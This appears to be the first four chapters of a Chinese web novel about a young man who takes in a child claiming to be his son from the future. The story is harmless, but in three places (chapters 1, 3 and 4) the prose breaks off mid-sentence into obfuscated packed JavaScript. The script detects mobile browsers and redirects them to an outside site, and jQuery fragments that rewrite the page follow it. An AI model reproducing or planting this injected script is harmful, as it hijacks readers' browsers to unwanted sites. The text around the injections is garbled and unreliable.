《小崽崽找上门》 1. 第 一 章 “榆哥,晚上盘山公到有个小比赛,你去不。” “不去。” “这个比赛来了好几个国外有名的车手的。榆哥,你真不去吗?” “不去。要看孩子,没时间。” “?!!” 白榆没管电话那头的狂轰滥炸,放下手机,恍惚的看着坐在沙发上正在喝牛奶的小孩。 小孩看起来大概五、六岁大的样子,软软的。可能是刚刚哭过一场的原因,滚圆的眼眸里水润润的,眼眶、鼻尖还泛着薄红,脑袋耸拉着,抱着玻璃杯小口小口的喝牛奶,头顶还有几根不听话的黑毛往上翘。 毫无疑问,这是一个哪怕是在路上遇见,都会忍不住多看两眼的可爱小孩。 唯一的问题就是…… 注意到了白榆的视线,小孩放下了手中的牛奶,舔了舔嘴边的牛奶,带着鼻音的喊了一声,“爸爸。” 白榆:“……” 白榆眼前一黑。 一个小时前,凌晨四点半。 这个点,天还没完全亮,空荡的街道上连个行人都找不到。 白榆刚过完他二十岁的生日,往家走的路上,忽然有只小孩冒了出来。 冒出来的小孩大哭着扑到他身上,喊道:“叭叭!” 白榆一脸茫然,他以为小孩认错了,直到低下头看清小孩的长相。 这已经不是像那么简单了,这孩子简直就和他小时候……一模一样。 白榆的大脑一片空白,等他回过神的时候,这小孩已经在他们家沙发上坐着了。 看着这个和自己简直是一个模子刻出来的孩子,白榆自我怀疑了一瞬。 这孩子哪来的? 我的? ??? 白榆用力朝自己脑袋上拍了一巴掌。 我的个鬼? 我和谁来的那么大一孩子?! “爸爸。”白予安歪着脑袋,不解的看着白榆奇怪的举动。 爸爸在干什么。 白榆回过神,艰难的问了一句,“你……叫什么。” 白予安:“?” 爸爸,这是……把自己打傻了??? 虽然很奇怪,但白予安还是很乖巧的举起小手回答,“安安,我叫白予安。” 姓白吗? 白榆的眉头蹙起,忽然想到了某种可能性。 他坐到沙发上,在手机一堆乱七八糟的照片里找了半天,翻出一张合照来,指着照片上面的中年男人问,“你认识他吗?” 白予安碰着牛奶,乖巧点头,“嗯嗯。” 还没等白榆松了口气,就听见小孩脆生生的回答,“是爷爷。” 白榆猛地被呛住,转过头用力咳了两声,不可置信重复,“爷爷?他让你叫他爷爷。” 白予安乖巧点头,“嗯嗯。” 白榆忽然想通了什么,指着自己,臭着张脸问道:“那他让你叫我爸爸?” 白予安回想了一下。 爷爷要我叫爸爸,爸爸? 好像也没有哪里不对。 白予安犹豫了半秒,乖巧点头,“嗯嗯。” 白榆深呼吸几次,被气的肺疼。 白漾你个脑残。 在外面搞出孩子了,还让他管我叫爸爸。 白榆的拳头紧握,指关节发出声响。 “爸爸。”白予安凑到白榆跟前,仰着小脑袋,滚圆的眼眸关切的看着白榆,“你是不是生气了?” 白榆:“我……” 还没等白榆解释些什么,白予安从沙发上站了起来,从后面搂着白榆的脖子,半个身子依靠在他身上。 “爸爸,不要生气了。”白予安毛茸茸的脑袋安慰似的蹭了蹭白榆的脖颈。 小孩子好像全身都是软的,身上带着淡淡的沐浴液的香味,摊在后背上像只大猫一样。 好可爱。 白榆侧头看着脖子上的小脑袋,没忍住伸手捏了一下白予安的脸。 软乎乎的。 白榆心底翻滚的火气,忽然就消散了。 大概是之前半夜一个人在外面被吓到了,刚又大哭过一场,身后很快传来了一阵均匀的呼吸声,白予安直接挂在他身上睡着了。 白榆又捏了两下白予安的脸,生疏的把小孩抱到了自己的床上。 白榆对着睡着的小天使拍了张照,在心里n+1次感慨完这小孩真可爱后,从微信找出一个百八十年不联系的名字,把照片发了过去。 过了两分钟,白榆直接拨通了对方的电话。 白漾接到白榆的电话的时候,正在梦里醉生梦死。 迷迷糊糊间睁开眼看见屏幕上的号码,白漾的手一抖,差点没把手机给从床上扔下去。 上一次,他儿子给他打电话是什么时候来着的。 哦,好像是她妈走的那天来着的…… 这么一想白漾心跳的更快了。 铃声响了几秒后,白漾最终还是没敢挂了,自暴自弃的接了电话。 一晚上没睡,白榆的嗓子有点沙哑,“喂。” 听见这个声音,白漾瞬间就从床上坐起来了,咽了两口口水,强装镇定的说道:“有什么事吗,这个时间点给爸爸电话。” 白榆冷漠的说道:“别那么虚伪,我们两什么关系,你心里清楚。” 白漾心底忍不住诽腹,就是因为清楚,你这个时间点给我打电话,我才害怕啊! “我微信发给你的照片看了吗。” 白漾点开微信,看着里面的照片,求生欲爆表,“是你小时候的照片吗,真可爱啊,简直就……” 白榆面色更冷了,“不是我的照片。” 空气仿佛停凝固了那么一瞬。 白榆有些烦,从口袋里翻出一颗糖,扔到嘴里咬碎,发出咔咔的响声,“你儿子都不认识了?” 白漾:“这个……” 白榆把碎了的糖渣吞下去,嘲弄的说,“我今天在路上捡到一小孩,他开口就叫我爸爸,我问他为什么,你猜他怎么说。” 白榆冷笑了声, “他说是你让他叫的。” 死一样的寂静漫延着。 白漾浑身一激灵,返回聊天界面,仔细着打量里面的照片。 半晌,白漾没底气的解释,“这,我真不认识他。而且他不是叫你爸爸吗,就不能……” 话还没说完,白漾就停下了,恨不得把刚才说的话给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490783|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞下去。 他刚是脑子进水了吗! 提这件事。 一直就压着火的白榆,忍不住了,“怎么,你以为谁都和你一样,二十来岁就在外面有那么大一儿子了。” 白漾不敢说话。 白榆深深吐出一口气,把话题拖回正题,试图冷静的和对方交流,“孩子他妈是谁?” 白漾小声回复,“我不知道。” 白榆又想骂人了。 白漾:“我实在是记不清了,要不我……” 白榆懒得听他逼逼,直接挂了电话。 白榆坐在沙发上,按了按太阳穴。 虽然白榆不想承认,但白漾的确是他血缘上的父亲。白家有的是钱,白漾又是独子,从小就花,还没结婚就敢瞒着家里人在外面有了情人,连孩子都生下来了。婚后也没收敛,给白榆弄出一大堆可能连他自己都记不清的同父异母的兄弟姐妹。 偏偏白漾是个除了张脸什么都没有的草包,在因为私生子的事和白榆他妈离婚后,彻底被老爷子放弃了,老爷子走了以后,也没分给他什么遗产。 理论上来讲这几年,少了老爷子的庇护,白漾怎么说也该消停了,没想到啊,这还有个‘大惊喜’。 白榆看了眼紧闭的卧室门,开始头疼。 孩子肯定是不可能交给白漾那个人渣的,他估计也不会管。只能暂时先在他这了,明天先去警局问问,等找到孩子他妈妈在和对方商量。 白榆努力克制住去打白漾一 顿的冲动。 白榆没有留人在家里过夜的习惯,房子里也没有客房,他躺在沙发上,打算先这么凑合一下,稍微眯一会,过两个小时就起来。 这一眯,就眯到了下午了。 窗外的阳光斜斜的射入室内,将房子里照的透亮,缩在沙发上的白榆不知道是不是有所感觉,眉头不自觉的皱了一下。 白予安从卧室里钻了出来,轻手轻脚的走到窗台前,将客厅的窗帘拉紧后,好奇的在房子里面转来转去。 小崽崽从客厅跑到卧室,再从卧室跑到书房,最后在一本日历前停住,盯着日历上的数字。 白予安睁大眼睛,“哇~” * * * 白榆醒来时,刚睁开眼就对上了一双亮晶晶的眸子。 昨天晚上捡回来的小崽崽,蹲在地上,把脑袋放在沙发上,一动不动的盯着他看,“爸爸,现在是20××年吗?” 见白榆醒过来了,白予安的小手将手中的日历举到白榆眼前。 白榆有低血糖,刚醒来脑子有点懵,木然的点了点头。 白榆不知道是不是他的错觉,他总觉的自己说完后,小孩的眼睛更亮了。 小孩蹭的一下从地上站起来,头顶翘起来的小黑毛跟着一晃一晃的,亮晶晶的看着他,“爸爸,我好像穿越到八年前了。” 白榆眨了眨眼。 白榆又眨了眨眼 大概半分钟后,白榆大脑中处理器才终于上线,接收并翻译了这句话。 不过他的CPU可能还没完全重启。 不然的话,为什么每个词他都知道意思,连在一起就听不懂了? 白榆:“???” 2. 第二章 “只要超过光速,就有可能穿越时空。”白予安耸拉着小脑袋,沉思中,“但往过去的时间穿梭,理论上来讲是不可能的才对。” 白予安双手在胸前环抱,思考人生中,“我到底为什么会出现在这。” 听见一个五岁的孩子一本正经的说这些,旁边的人忍不住小声笑出了声。 小孩好可爱。 白予安奇怪的环顾了一周,看着努力忍笑的叔叔阿姨们,眨了眨眼。 他们在笑什么啊? 白榆避开人群,从一旁的货架上拿了一大盒舒化奶,随口回应,“不知道呢。” 白予安坐在超市的小推车里,两只小腿在外面晃来晃去,手搭在推车的杆子上,好奇的张望着八年前超市的样子,兴致勃勃的问个不停。 “爸爸,我还会回去吗?” 白榆正在考买那种面包中,“可能吧。” “爸爸,我会改变未来的事情吗?” 白榆正在考虑买那种果酱搭配面包中,“可能吧。” “爸爸,你是不是根本就没在听。” “可……”白榆紧急停住,低头看着推车里的小孩,义正言辞的说道,“当然没有。” 白予安一动不动的看着他。 盯—— 白榆被看的心虚,试图转移话题,“你想要蓝莓酱还是草莓酱。” 白榆……当然没有在听。 低血糖的原因,白榆刚睡醒的时候,多少有些头晕,血氧供给不足,脑子不怎么能用。 在这种状态下,当眼前的小孩告诉自己他穿越的时候,白榆鬼使神差的问了一句。 “那你妈妈是谁?” 小孩一脸茫然的看着他,“安安没有妈妈,我是爸爸和爹地的孩子。” 白榆瞬间就清醒了。 怜爱的摸了摸白予安的头后,白榆觉得自己刚刚肯定是脑子进了点水。 要不然也不会有那么一瞬间相信这是真的。 见小崽崽不说话,白榆干脆把草莓酱和蓝莓酱都拿到推车里。 之前他一个人过,要么在外面吃,要么叫外卖,家里的冰箱干净的连小偷都懒得偷。 不过现在不太一样了。 白榆看了眼推车里正在闹脾气的小孩想,起码在找到这孩子妈妈前,他要临时照顾对方一段时间。 白予安拍了拍小推车的杆子,不满的说道:“安安说的是真的。” 白榆一脸严肃,装作认真的样子点头,“嗯,我真的相信。 白予安很生气,哼了一声把头往旁边转。 我不要理爸爸了。 白予安把脸颊像个小河豚一样鼓起来,深怕别人不知道他生气了一样。 白榆想笑,又不敢笑出声,身体控制不住的抖动着。 白予安不可思议的转过头看自己爸爸。 他居然还在笑。 安安真的生气了!!! 白予安的小脸气的红扑扑的。 出于某种逗小孩的恶劣心理,白榆装作没有发现白予安生气,若无其事的继续在超市里逛。 “哼!” 每过一段时间,白予安就哼一声,然后自以为不起眼的偷偷瞄一眼白榆,对上视线后又快速的转过头去。 就差把‘快来哄我’写在脸上了。 白榆更想笑了。 白榆推着小推车路过零食区时,之前一直乖乖坐在小推车上生闷气的崽崽忽然拉了一下他的衣摆。 白榆低头看着推车里的小孩。 几分钟前,才决定不理爸爸的小朋友,多少有些不好意思,低着头小小声的说道:“爸爸,巧克力。” “嗯?”白榆愣了一下才反应过来,抬头往旁边的货架上看。 货架上整齐的摆放着各类包装精美的巧克力。 白榆拖长调子打趣道:“想要巧克力啊。” “嗯嗯。”白予安睁着一双水润的滚圆眼眸,委屈巴巴的看着白榆,身后像是有一条猫尾巴在快速摇啊摇一样。 白榆顿时就受不住了,顺着白予安的视线,拿了一盒巧克力下来。 “不是这个。”白予安把放在推车里的巧克力抱起来,指了指旁边同一品牌的另一种,“那个。” “这个,你确定?”白榆拿着那盒巧克力,看了眼配料,“这个可能会很苦。” 白予安点点头,像是生怕白榆不同意一样,拉着白榆的衣摆小小声的说,“你以前都会给我买的。” 白榆:可爱这个词已经说腻了。 白予安抱着怀中的巧克力,小腿控制不住的在空中摇晃,哼着歌,由内而外的透着明媚。 看在巧克力的份上,暂时原谅爸爸一会好了。 安安很大度。 白榆回想着要买的东西,自言自语,“新的毛巾,拖鞋,牙刷,睡衣,还有……” 走着走着,白榆推着推车的手顿住。 正前方摆满泡面的货架前,站着一个带着黑框眼镜的瘦高男生。 怎么这么巧? 薛楠,他发小,他为数不多的几个朋友,从大众角度上来看,薛楠应该算个天才。 对方智商远超平均水准,从小一路跳级开挂,16岁上大学,现在更是跟着一位大牛读研。 也是他的存在让白榆深切的意识到一件事,天才和傻逼,啊不,疯子只有一线之隔。 薛楠神奇的脑回路,总让白榆觉得他们之间的友谊能维持到现在实在是个奇迹。 白榆思考了不到半秒,坚定的直接掉头走。 现在这幅场景被那家伙看到了,绝对会想奇奇怪怪的东西。 白予安没有发现爸爸的顾虑,在白榆推车转身时,看见了薛楠,举起小手,热情的给对方打招呼,“薛楠叔叔好。” 正在认真思考泡面是买红烧的还是酸菜的薛楠:“?” 叔叔? 叫谁叔叔呢! 老子才十九岁!!! 薛楠恶狠狠的转过头,正想看看到底是那个小屁孩叫他叔叔,然后就对上了一张……和白榆小时候一模一样脸。 天啊,我实验做多了都出现幻觉了。 薛楠揉了揉眼睛。 怎么那个小孩还在。 薛楠定睛一看,嘴忍不住张开,震惊的看着推着这个陌生小孩的白榆。 白予安望着白榆说,“爸爸,我想下来自己走。” 爸,爸爸?!! 薛楠指着白榆,脱口而出,“你都有孩子了!” 这一瞬间,薛楠的心中,闪过电光雷石,刮起狂风暴雪,噼里啪啦一阵乱响后, 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薛楠冻得一抖,抬头一看才发现白榆正面无表情的看向他。 周围的气压骤然降低。 认识了这么多年了,白榆几乎一眼就能看出薛楠在想什么鬼东西,他到底是怎么和对方相安无事的相处那么多年的。 脑海中白榆哐哐撞大墙的画面被薛楠迅速抹去,薛楠往后退了两步。 他往周围看了一圈,确定了有监控后才稍微松了口气。 “啊,我,那个……”薛楠吞咽了几次,连连摆手。 白榆目光冷冷的扫了一眼薛楠,“这不是我孩子。” 白榆上前两步,准备人工帮薛楠清除点记忆时,余光却瞥见了推车内的小崽崽。 小孩好像……哭了?!! 白榆的脚步一顿。 “爸爸,你不要我了吗?”白予安伸手擦着眼里,艰难的说出了这句话。 和大部分小孩哭不一样,白予安哭的时候很安静,就这么静静的任由大颗大颗的泪水从眼眶滑落,仰着头一动不动的看着大人。 白榆后知后觉的意识到一件事。 他好像……从来没有当着这小孩的面否认过自己是他爸爸。 白榆也顾不上薛楠了,把白予安从推车里抱了出来,动作笨拙的拍着对方的背后,“没,没有。”。 薛楠看着这一幕的震惊丝毫不比刚才弱。 这还说不是自己孩子呢。 长这么大,您哄过孩子吗。 你亲戚家的孩子都哭成什么样了,我都没见你上去问一句。 快说! 你到底和谁有了孩子! 当然这话,薛楠不敢说出来。 为了他的小命着想,趁着现在白榆顾不上他,薛楠利落的推着他的小推车用百米冲刺的速度往外面跑,边跑他还忍不住犯了个剑,“白榆,有了孩子不负责,我看不起你!” 艹 声音在超市内回荡,白榆顶着周围众人诡异的视线,毫无感情的看着某人的背影。 薛楠,你给我等着。 3. 第 三 章 白予安从出生开始就在爸爸和爹地的陪伴下长大。哪怕突然到了一个陌生的环境,只要爸爸还在,白予安依旧没有觉得有什么变化。 直到现在安安才反应过来一件事,也许……八年前的爸爸根本就不想要他。 眼泪就不受控制的从眼眶中掉了下来。 白予安赌气的想道,那,那我也不要爸爸了。 反正他也不要我了,要把我送走了。 我也不要他了!!! 白予安伸出小手,努力的擦着自己的眼泪,背过头不让爸爸看到他在哭。 偏偏白榆把手夹在白予安的腋下,像抱玩偶一样把他举到自己面前。 “怎么了,别哭啊。”白榆急的下意识往后退了一步,整个人撞在了身后的货架上。 他都不要我了,还问我怎么了! 白予安的眼泪掉的更厉害了,干脆用两只小手捂在脸上,挡住白榆的视线。 白榆实在是不清楚眼前的小崽崽怎么就突然哭的这么凶了。 在他的印象中,虽然这孩子在白漾的‘教唆’下,一直喊他爸爸。 但实际上他们也才刚认识一!天!啊! 白榆被小孩哭吓到了。 周围聚集的顾客越来越多,他只好先抱着白予安先往角落里走。 白予安也没挣扎,安静的趴在爸爸的身上,泪水将白榆的衣领彻底打湿。 白予安抿着唇,努力让自己不要哭出来,忍了半天还是没忍住,带着鼻音的说道:“爸爸不要,不要我。” 白榆的脚步一顿。 白予安还是觉得,他还是舍不得爸爸。 他不想离开爸爸。 哭狠了,白予安说话断断续续的,用力的擦着眼睛,“不要,不要我。我,很乖的。我也,不要巧克力。我,我可以自己睡的,我也不要玩具了。” 白榆的呼吸一窒,心脏莫名撕裂般的疼了起来。 白榆深呼了两口气,摸了摸小孩绒绒的小脑袋,“不会的,爸爸不会不要你的。” 这句话稍稍安抚了小朋友,白予安抽噎着,缓了好久才重新发出声音,“我没有骗人,我说的是真的。” “嗯,嗯。”白榆把白予安搂到怀轻拍着他的后背。 不知道过去了多久,怀里的崽崽终于彻底不哭了。 看着小孩红红的眼睛,白榆面无表情的给薛楠又记上一笔。 白榆把白予安放到地上,半蹲着对小孩说,“我们先去吃饭好不好?” 白予安眼眶红红的看着爸爸,缓慢的点了点头,“嗯。” 白榆松了口气,刚站起身来,小崽崽就忽然上前拉住了他的手指。 白予安撇过头,避开白榆的视线,小嘴撅着,像主动过来牵手手的不是他一样。 白榆忍不住捏了一下小孩的肉乎乎的脸颊。 好可爱! “要爸爸抱吗?”白榆张开双臂。 白予安摇了摇头,紧紧的拉着白榆的手指。 “好,我们牵爪爪。”白榆牵着白予安的小手,回到原位把小推车推到前台结账。 拿着收银机里打出来长长的小票,白榆有种不真实的感觉。 家里多了个孩子。 从未来穿越过来的……我的孩子? 白榆瞥了眼身旁安静的小孩,脑子里一团乱。魂不守舍的牵着对方去了附近的一家儿童餐厅。 儿童餐厅的装潢充满着童趣,店内还有套着玩偶服的工作人员和小朋友互动,就连萝卜都被细心的削了可爱的小兔子模样。 等等…… 胡萝卜。 神游了一路的白榆忽然意识到了什么,拿着叉子的手僵在了半空中。 白予安眨了眨眼睛,水润的琥珀色眼眸好奇的盯着白榆。 白榆顶着小孩的视线,硬着头皮把萝卜吞了下去。 难吃死了。 白榆用力闭了一下眼睛。 “爸爸,果汁。”白予安飞快的把自己的饮料推到了白榆身前。 白榆也顾不得是不是在安安面前了,端起杯子大口大口的喝果汁,等嘴里萝卜的味道散去后,才感觉自己重新活了过来。 坐在他对面的小崽崽,一脸认真的说,“爸爸,挑食是不好的。” 白榆身体一僵,“……” 白榆自认为自己不是个挑食的人。 他只是有选择性的摄入食物而已。 当然当着五岁小孩的面,白榆也不好意思把这套话术搬出来,打算硬着头皮把盘子里的萝卜吃掉。 还没等白榆开始吃,就看见白予安用小叉子把他盘子里的胡萝卜一个个插走了。 白榆怔了怔,“你喜欢胡萝卜吗?” 白予安想了一下,“还好吧。” 白榆说:“那为什么要拿走?” 白予安:“因为爸爸你不吃啊,浪费了不好。” 后座应景的响起了年轻妈妈温声斥责的声音。 “兮兮,你是不是又偷偷把不吃的东西扔到你爸爸的盘子里了。” 小女孩撒娇,“可是,我真的不想吃。” 老父亲赶忙出来打圆场,“没事没事,我吃也不算浪费了。” 母亲不满的说道:“你一天天的就知道惯着她。” 白榆:“……” 白榆艰涩的说,“我……之前也会把不喜欢吃的东西给你吗。” “嗯?”白予安嚼着嘴里的东西,腮帮子鼓鼓的,咽下去后才说,“不会啊。” 白榆暗自松了口气,正准备把小孩盘子里的胡萝卜拿回来自己吃。 “家里不会买爸爸不吃的东西的,而且还有爹地呢。” 爹地。 刚伸到一半的叉子被这两个词震的硬生生的拐了个玩,戳到了自己盘子里的小番茄上。鲜红的汁水在餐盘里喷射出来。 白榆木着个脸把小番茄塞到嘴里。 酸的,不好吃。 * * * 吃完饭,白榆牵着白予安的小手在路边等车。 早上还到处乱跑,让他害怕一个不小心就丢了的孩子,现在乖乖的站在他身旁,滚圆的眼睛一动不动盯着他看,像是……生怕被丢在外面了一样。 白榆看的心酸,把小孩抱了起来,自暴自弃的想道。 就算这孩子说的是真的。 就算他未来真和一个男的有了孩子。 那……的确是挺大一件事。 等来了的出租车师父是个健谈的中年人,从白榆上车开始,就一直在和他聊天。 “小兄弟,是学生吧,哪个大学的?” “B大。” “呦,那你成绩非常好啊!” 白榆耐心的帮白予安把松开了的扣子重新扣了上去,平淡的说到:“还行,踩着尾巴上的。” 司机师父从后车镜里看见这一幕,感慨道:“你对你弟弟挺好啊,不像我家那个,整天就知道和他弟弟打架,我都说他多少次了,都不听,还说什么……” “他不是我弟弟。”白榆打断了对方滔滔不绝的话。 “这是……”白榆顿了顿,继续补充道:“这是我儿子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490785|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白予安睁大眼睛,亮晶晶的看着白榆。 爸爸! 司机大叔手一抖,差点没抓稳方向盘,沉默了半晌,干笑道:“那小兄弟长的挺年轻啊,是参加的成人高考吗?” 白榆抱着怀里的小崽崽,将脸上黑色的口罩往上拉了拉,“我刚满二十。” “那,那挺厉害啊。”司机的声音有点抖。 可能是受到了什么刺激,接下来的一路,这位健谈的司机师父没在说过一句话。 车内维持着诡异的寂静。 下车的时候,白榆和对方道别:“再见,叔。” 白予安也非常有礼貌的有样学样的说道:“再见,爷爷。” 白榆:“。” 四十出头自认为还很年轻的司机,“……” 司机沉默的看了眼白榆,又缓缓的低下头看着白予安,沉默了几秒后,沧桑的说道:“再见,小朋友。” 白榆把口罩继续往上拉了拉。 一大一小两人提着大包小包的东西回到了家里,白榆把袋子里的东西拿出了收拾整齐,白予安则跟个小尾巴一样跟在他身后帮忙。 收拾完东西,白予安打了个小哈欠,揉了揉眼睛说,“爸爸,我想睡觉了。” “好。”白榆犹豫了下,“……能自己洗澡吗。” 白予安点了点头,“嗯。” 白榆松了口气。 二十分钟后,一只带着有耳朵的帽子的小崽崽从浴室内探出一个小脑袋,“爸爸,我洗好了。” 白榆手上的动作一顿。 白予安穿着今天刚买的小恐龙的连体睡衣,哒哒哒的从浴室里跑了出来。 “安安是不是超可爱。” 白予安走到白榆身前,转了个圈圈。 睡衣上的两只小耳朵,连带着身后的尾巴,随着小崽崽的动作一动一动的,白予安滚圆的琥珀色眼眸亮晶晶的看着白榆。 “超级超级可爱。”白榆半蹲下来,一颗心都快要被萌化了,想把眼前的小崽崽抱进怀里揉一揉。 下一秒,白予安就主动的窜进了白榆怀里,软软的说,“给爸爸抱一下。” 白予安的脸颊红扑扑的,仰起头看向白榆,没两秒后,脸变的更红了,不好意思的跑到房间里面,隔着门喊道:“爸爸,快来。” 白榆捂着胸口,“好。你先躺一会,我去洗个澡。” 白榆简单的冲了个澡。 等他出来的时候,白予安正抱着一只丑的要死的狐狸玩偶,在床上从这头滚到那头,又从那头滚到这头。 白榆把小崽崽塞回到被子里,躺到他旁边。 看着很自然的往他身上靠,抱着他的小崽崽,白榆踌躇了片刻,还是忍不住问道:“我,以前经常和你一起睡吗。” “没有啊。”白予安脸颊鼓鼓的,不太高兴,“我以前都是一个人睡。” “那……” 白榆还没说完,就听见小崽崽补充,“爸爸以前都是和爹地一起睡的。” 白榆:“。” 白榆闭上眼,不说话了。 白予安爬到他身上,琥珀色的眼眸眨了眨,“爸爸,爹地在哪啊,为什么不来找我们啊?” 白榆不想说话。 半晌,白予安小心翼翼的开口,“爸爸,你是不是要给我找后爹啊?” 白榆猛的被口水呛到,背对着白予安,猛的咳嗽了起来。 白榆深吸了几口气,看着一脸无辜的小崽子,把被子遮到对方头上,一字一顿的说道: “没。赶,紧,睡,觉!” 你爸爸我现在比较想死。 4. 第 四 章 凌晨四点。 白榆忽的睁开双眼,双目无神的看着天花板。 他睡不着…… 白榆觉得他脑子可能是坏了,或者……干脆是这个世界坏了。 他竟然真的觉得白予安说的是真的! 叫他爸爸可以理解成是受白漾的‘教唆’。说什么穿越可以是别人教的。但在超市哭成那个样子,如果还是假的的话,那这小孩用来骗他实在是太大材小用了。 出门左转签家经纪公司,将来势必前途坦荡。 如果,或许,假设小孩说的是真的,那什么叫……‘没有妈妈,是爸爸和爹地的孩子’? 两男的哪来的孩子! 白榆从床上坐起来,烦躁的揉了把头发。 忽然他手上的动作一顿,整个人变的僵硬起来。 白榆想起一件事。 同性恋在华国不多,但也不少,他大学室友就是的。 恍惚间,白榆隐约想起,对方好像给他说过一件事——去年M国,有一例同性恋人通过科技手段有了孩子。 白榆木然的盘腿坐在床上,半分钟后,又重新躺下,将被子拉倒头顶。 太晚了,脑子不清醒,都出现幻觉了。 哪来的这件事。 白榆翻了个面,又把被子往头顶拉了拉。 然而他的大脑却并不配合他自欺欺人,白榆一闭上眼,脑中就开始给他全方位无死角的自动回放那天的记忆。 白榆绝望的闭上眼。 两男的确可能有孩子。 白榆掀开被子,侧过身看着旁边正睡得无忧无虑的小崽崽。 这也的确……有可能是他的孩子。 人与人的悲喜不能共通,白予安此时就完全感受不到爸爸的绝望,抱着玩偶睡得正香。 小孩子柔软的脸颊微微鼓起,毛茸茸脑袋也不知道什么时候从枕头上滚了下来,靠在白榆身上,偶尔嘴里还会发出一两声无意义的嘟囔声。 白榆死死盯着睡得死沉的小崽子看了半晌,心累的叹了口气。 白榆动作不算轻柔地把白予安重新抱回枕头上,又把白予安刚刚踢掉的被子给他盖好。 坐在床上犹豫了半天,白榆还是在床头留下一张便签后,轻声离开了屋内。 ‘有事出去一趟,很快就回来。’ 白榆带上头盔手套,边驾驶着重机车往附近的亲子鉴定机构去,边觉得自己脑子里进水了。 他竟然为了这么离谱的事,凌晨往亲子鉴定机构跑。 他真是疯了。 * * * 一大清早的,太阳还没完全升起,鉴定机构的门却开了,不大的房间里聚集了不少顾客。 做鉴定的整个流程要比白榆想象中简单的多。 提交完样本后,他又额外出了一笔费用加急,再过一个小时就能拿到结果。 这个时间点,周围也没什么店铺开门。白榆干脆打算在鉴定机构坐一会,等结果出来再走,然而刚到休息区附近他就后悔了。 休息区的沙发上坐着的几位戴着墨镜,口罩,帽子,装备完善到仿佛下一秒就能无缝衔接跑去抢银行的老大哥们,齐刷刷的向白榆投来炙热的目光。 那眼神中带着三分震惊,三分诧异,三分同情以及……一分的看傻子。 白榆忍着内心的尴尬,冷着张脸缩在角落里。 他的那头白毛在一片黑压压的帽子里仿若夜空中的星格外突出。 白榆刚坐下来还没两分钟,就有一位工作人员走了过来,叫走了他正对面的男人。 被叫走的男的是个一米八几的壮汉,裸露在外臂膀上纹着夸张花纹,戴着一副大墨镜,浑身上下散发出一种土匪的气质。 然而这位大哥刚走没两步就一个跄踉,完美的摔在了平坦的地板上。 咚的一声。 光是听就能感到一阵肉痛。 白榆:“。” 空气仿佛凝结了几秒,看着大哥慷慨就义的步伐,白榆能明显感觉到,周遭原本只有八分的焦虑瞬间涨到了十分。 白榆忍不住的想,如果白予安说的是真的怎么办。 他是一个坚定的单身主义者,别说结婚了,白榆连恋爱都不想谈。更别提现在直接跳过恋爱,结婚,忽然从天而降一个五岁大的儿子。 一想到他未来和一个人结婚生子这种事,白榆就感到一阵窒息。 “先生。”工作人员走到白榆身边轻声叫了句,见白榆没有反应,又稍稍加大音量,“先生?” 工作人员:“先生!” “啊?!”白榆回过神来,猛地回头。 看对方终于有反应了,工作人员维持着职业化的微笑,附着身子轻声说道:“您的结果出来了。” 白榆:“……哦。” 白榆不情不愿的跟着对方去拿报告。 当医生把鉴定结果递给他时,白榆差点没接稳。 他脑子空空的拿着鉴定报告,从后门离开,不知道走了多远,才停下,一动不动的盯着手上的牛皮纸袋。 打开,还是打开? 半晌,白榆撕开密条,缓慢抽出了里面的纸张。 随着他的动作,鉴定报告上的字迹一点一点浮现了出来。 在报告的最末尾,猩红的字体醒目的标识着结果——【据现有资料和DNA分析显示,两份样本提供者存在生物学上的父子关系】 七月底的苏城,像个蒸笼似的,热的让人烦躁,但这一刻,白榆的四肢却无端的感到阵阵寒意。 这样的姿势不知道维持了多久,白榆回过神来,刷的一下把抽出来的鉴定报告塞回牛皮袋中,脑中嗡嗡的响个不停。 白榆扶着路旁的树干,肩膀微微前耸,一阵反胃感从心底涌起。 白榆强行把想要干呕的感觉给压了回去,转过头,透过橱窗的玻璃,他才发现他现在的脸色跟个死人一样。 白榆缓了下,把手伸到口袋里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490786|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艹。 没带糖。 白榆舔了下发白的唇,靠在树上。 他有低血糖,平时会专门在口袋里装些糖果用来应急,这次出门太急忘了。 白榆缓了两分钟后才起身,准备先找个店买点吃的再回去。 低血糖弄的白榆脑袋里昏沉沉的,鉴定报告的事又像块石头一样,压在他身上,喘不过气来。 白榆的步子越迈越重,下楼梯时,他忽然眼前一黑,一个没踩稳,直直向前面摔了过去。 意识消失之际,白榆闻到了似有似无的男士香水的味道。 说不出是什么味道。 淡淡的。 但还挺好闻的。 “教授!”唐绪忍不住喊出声,惊讶的看着眼前朝宋时蔚摔过去的人。 这,不会摔到怀里去吧。 